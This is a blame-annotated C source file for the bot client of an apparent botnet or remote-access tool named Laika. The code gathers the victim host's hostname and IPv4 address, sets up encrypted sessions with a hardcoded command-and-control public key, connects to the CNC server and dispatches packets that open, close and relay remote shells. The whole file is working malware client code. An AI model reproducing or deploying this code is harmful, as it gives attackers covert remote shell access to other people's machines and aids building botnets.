2022-01-25 03:46:29 +00:00
|
|
|
#include "lmem.h"
|
2022-01-28 01:55:28 +00:00
|
|
|
#include "lrsa.h"
|
2022-01-25 03:46:29 +00:00
|
|
|
#include "lerror.h"
|
|
|
|
#include "bot.h"
|
2022-02-21 23:25:49 +00:00
|
|
|
#include "shell.h"
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-01-25 19:53:17 +00:00
|
|
|
LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
2022-02-21 23:25:49 +00:00
|
|
|
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t),
|
|
|
|
[LAIKAPKT_SHELL_OPEN] = sizeof(uint8_t),
|
|
|
|
[LAIKAPKT_SHELL_CLOSE] = sizeof(uint8_t),
|
2022-01-25 03:46:29 +00:00
|
|
|
};
|
|
|
|
|
2022-02-21 23:25:49 +00:00
|
|
|
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
2022-01-28 01:55:28 +00:00
|
|
|
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
2022-01-31 01:10:10 +00:00
|
|
|
uint8_t endianness = laikaS_readByte(&peer->sock);
|
2022-01-28 01:55:28 +00:00
|
|
|
|
2022-01-31 01:10:10 +00:00
|
|
|
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
2022-02-03 22:46:12 +00:00
|
|
|
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
|
2022-01-25 03:46:29 +00:00
|
|
|
}
|
|
|
|
|
2022-01-31 01:10:10 +00:00
|
|
|
PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = {
|
2022-02-21 23:25:49 +00:00
|
|
|
[LAIKAPKT_HANDSHAKE_RES] = laikaB_handleHandshakeResponse,
|
|
|
|
[LAIKAPKT_SHELL_OPEN] = laikaB_handleShellOpen,
|
|
|
|
[LAIKAPKT_SHELL_CLOSE] = laikaB_handleShellClose,
|
|
|
|
[LAIKAPKT_SHELL_DATA] = laikaB_handleShellData,
|
2022-01-31 01:10:10 +00:00
|
|
|
};
|
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
struct sLaika_bot *laikaB_newBot(void) {
|
|
|
|
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
2022-02-15 22:57:21 +00:00
|
|
|
struct hostent *host;
|
|
|
|
char *tempIPBuf;
|
2022-01-28 01:55:28 +00:00
|
|
|
size_t _unused;
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-02-21 23:25:49 +00:00
|
|
|
memset(bot->shells, 0, sizeof(bot->shells));
|
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
laikaP_initPList(&bot->pList);
|
|
|
|
bot->peer = laikaS_newPeer(
|
2022-01-31 01:10:10 +00:00
|
|
|
laikaB_handlerTbl,
|
2022-01-25 03:46:29 +00:00
|
|
|
laikaB_pktSizeTbl,
|
|
|
|
&bot->pList,
|
|
|
|
(void*)bot
|
|
|
|
);
|
2022-01-28 01:55:28 +00:00
|
|
|
|
|
|
|
/* generate keypair */
|
|
|
|
if (sodium_init() < 0) {
|
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("LibSodium failed to initialize!\n");
|
|
|
|
}
|
|
|
|
|
2022-02-03 22:25:49 +00:00
|
|
|
if (crypto_kx_keypair(bot->pub, bot->priv) != 0) {
|
2022-01-28 01:55:28 +00:00
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("Failed to gen keypair!\n");
|
|
|
|
}
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-01-29 06:26:15 +00:00
|
|
|
/* read cnc's public key into peerPub */
|
2022-02-03 22:25:49 +00:00
|
|
|
if (sodium_hex2bin(bot->peer->peerPub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
|
2022-01-28 01:55:28 +00:00
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("Failed to init cnc public key!\n");
|
|
|
|
}
|
|
|
|
|
2022-02-15 22:57:21 +00:00
|
|
|
/* grab hostname & ip info */
|
|
|
|
if (SOCKETERROR(gethostname(bot->peer->hostname, LAIKA_HOSTNAME_LEN))) {
|
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("gethostname() failed!\n");
|
|
|
|
}
|
|
|
|
|
|
|
|
if ((host = gethostbyname(bot->peer->hostname)) == NULL) {
|
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("gethostbyname() failed!\n");
|
|
|
|
}
|
|
|
|
|
|
|
|
if ((tempIPBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) {
|
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("inet_ntoa() failed!\n");
|
|
|
|
}
|
|
|
|
|
|
|
|
/* copy ipv4 address info */
|
|
|
|
strcpy(bot->peer->ipv4, tempIPBuf);
|
2022-01-25 03:46:29 +00:00
|
|
|
return bot;
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaB_freeBot(struct sLaika_bot *bot) {
|
2022-02-21 23:25:49 +00:00
|
|
|
int i;
|
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
laikaP_cleanPList(&bot->pList);
|
|
|
|
laikaS_freePeer(bot->peer);
|
2022-02-21 23:25:49 +00:00
|
|
|
|
|
|
|
/* clear shells */
|
|
|
|
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
|
|
|
if (bot->shells[i])
|
|
|
|
laikaB_freeShell(bot, bot->shells[i]);
|
|
|
|
}
|
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
laikaM_free(bot);
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
|
|
|
struct sLaika_socket *sock = &bot->peer->sock;
|
|
|
|
|
|
|
|
/* setup socket */
|
|
|
|
laikaS_connect(sock, ip, port);
|
|
|
|
laikaS_setNonBlock(sock);
|
|
|
|
|
|
|
|
laikaP_addSock(&bot->pList, sock);
|
|
|
|
|
|
|
|
/* queue handshake request */
|
2022-02-04 02:51:32 +00:00
|
|
|
laikaS_startOutPacket(bot->peer, LAIKAPKT_HANDSHAKE_REQ);
|
2022-01-25 03:46:29 +00:00
|
|
|
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
|
2022-01-25 17:58:36 +00:00
|
|
|
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
|
|
|
|
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
|
2022-01-28 01:55:28 +00:00
|
|
|
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
|
2022-02-15 22:57:21 +00:00
|
|
|
laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN);
|
|
|
|
laikaS_write(sock, bot->peer->ipv4, LAIKA_IPV4_LEN);
|
|
|
|
laikaS_endOutPacket(bot->peer);
|
2022-02-04 02:51:32 +00:00
|
|
|
laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
|
2022-02-03 22:25:49 +00:00
|
|
|
|
2022-02-04 02:51:32 +00:00
|
|
|
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
|
2022-02-03 22:25:49 +00:00
|
|
|
LAIKA_ERROR("failed to gen session key!\n")
|
2022-01-25 03:46:29 +00:00
|
|
|
|
|
|
|
if (!laikaS_handlePeerOut(bot->peer))
|
|
|
|
LAIKA_ERROR("failed to send handshake request!\n")
|
|
|
|
}
|
|
|
|
|
2022-02-21 23:25:49 +00:00
|
|
|
void laikaB_flushQueue(struct sLaika_bot *bot) {
|
|
|
|
/* flush pList's outQueue */
|
|
|
|
if (bot->pList.outCount > 0) {
|
|
|
|
if (!laikaS_handlePeerOut(bot->peer))
|
|
|
|
laikaS_kill(&bot->peer->sock);
|
|
|
|
|
|
|
|
laikaP_resetOutQueue(&bot->pList);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
|
|
|
|
struct sLaika_pollEvent *evnt;
|
|
|
|
int numEvents;
|
|
|
|
|
2022-02-21 23:25:49 +00:00
|
|
|
laikaB_flushQueue(bot);
|
2022-01-25 03:46:29 +00:00
|
|
|
evnt = laikaP_poll(&bot->pList, timeout, &numEvents);
|
|
|
|
|
|
|
|
if (numEvents == 0) /* no events? timeout was reached */
|
|
|
|
return false;
|
|
|
|
|
2022-01-25 17:58:36 +00:00
|
|
|
LAIKA_TRY
|
2022-01-25 03:46:29 +00:00
|
|
|
if (evnt->pollIn && !laikaS_handlePeerIn(bot->peer))
|
2022-01-25 18:13:04 +00:00
|
|
|
goto _BOTKILL;
|
2022-01-25 03:46:29 +00:00
|
|
|
|
|
|
|
if (evnt->pollOut && !laikaS_handlePeerOut(bot->peer))
|
2022-01-25 18:13:04 +00:00
|
|
|
goto _BOTKILL;
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-01-25 17:58:36 +00:00
|
|
|
if (!evnt->pollIn && !evnt->pollOut)
|
2022-01-25 18:13:04 +00:00
|
|
|
goto _BOTKILL;
|
2022-01-25 17:58:36 +00:00
|
|
|
LAIKA_CATCH
|
2022-01-25 18:13:04 +00:00
|
|
|
_BOTKILL:
|
2022-01-25 17:58:36 +00:00
|
|
|
laikaS_kill(&bot->peer->sock);
|
|
|
|
LAIKA_TRYEND
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-02-21 23:25:49 +00:00
|
|
|
laikaB_flushQueue(bot);
|
2022-01-25 03:46:29 +00:00
|
|
|
return true;
|
|
|
|
}
|